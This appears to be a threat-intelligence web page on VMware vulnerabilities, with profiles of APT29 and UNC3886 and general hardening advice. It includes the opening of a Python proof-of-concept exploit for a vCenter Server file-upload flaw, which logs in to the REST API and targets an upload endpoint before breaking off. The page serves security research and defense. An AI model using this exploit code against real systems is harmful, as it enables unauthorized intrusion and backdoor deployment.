VMware Security Vulnerabilities and Threats
A comprehensive platform for security researchers to discover VMware vulnerabilities, exploits, and threat intelligence about APT groups targeting virtualization infrastructure.
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Total Vulnerabilities
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Critical Vulnerabilities
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PoCs Available
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Affected Products
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APT Groups
Active Exploitation Alert
Multiple VMware vulnerabilities are currently being actively exploited by threat actors. Check the latest advisories and patch your systems immediately.
Vulnerabilities
VMware vCenter Server File Upload Vulnerability (Exploited by UNC3886)
A critical file upload vulnerability in VMware vCenter Server that has been exploited by the UNC3886 threat actor to deploy backdoors.
Proof of Concept
This proof of concept demonstrates how an authenticated attacker can exploit the file upload vulnerability in VMware vCenter Server to upload and execute malicious files.
1#!/usr/bin/env python3
2
3import requests
4import argparse
5import urllib3
6import json
7import sys
8from getpass import getpass
9
10urllib3.disable_warnings()
11
12def login(target, username, password):
13 url = f"https://{target}/rest/com/vmware/cis/session"
14 auth = (username, password)
15
16 try:
17 response = requests.post(url, auth=auth, verify=False)
18 if response.status_code == 200:
19 session_id = response.json().get("value")
20 print(f"[+] Successfully logged in as {username}")
21 return session_id
22 else:
23 print(f"[-] Login failed: {response.status_code} - {response.text}")
24 return None
25 except Exception as e:
26 print(f"[-] Login error: {e}")
27 return None
28
29def exploit_file_upload(target, session_id, local_file, remote_path):
30 # The vulnerable endpoint for file upload
31 url = f"https://{target}/rest/vcenter/deployment/update/file"
32
33 headers = {
34 "vmware-api-session-id": session_id,
35 ...
36
37// Code truncated for preview. View full PoC on vulnerability page.APT Groups Targeting VMware
View AllAPT29 is a Russian state-sponsored threat actor associated with the Russian Foreign Intelligence Service (SVR). The group has been active since at least 2008 and is known for targeting government organizations, think tanks, healthcare, and technology sectors.
UNC3886 is a sophisticated threat actor that specifically targets virtualization infrastructure, particularly VMware ESXi and vCenter Server environments. The group has been active since at least 2021 and demonstrates advanced capabilities in developing and deploying custom malware for VMware environments.
Keep Systems Updated
Regularly apply security patches to all VMware products as soon as they become available.
Network Segmentation
Isolate management interfaces from untrusted networks and implement strict firewall rules.
Strong Authentication
Implement multi-factor authentication for all administrative access to VMware products.
Monitoring and Logging
Enable comprehensive logging and implement monitoring for suspicious activities.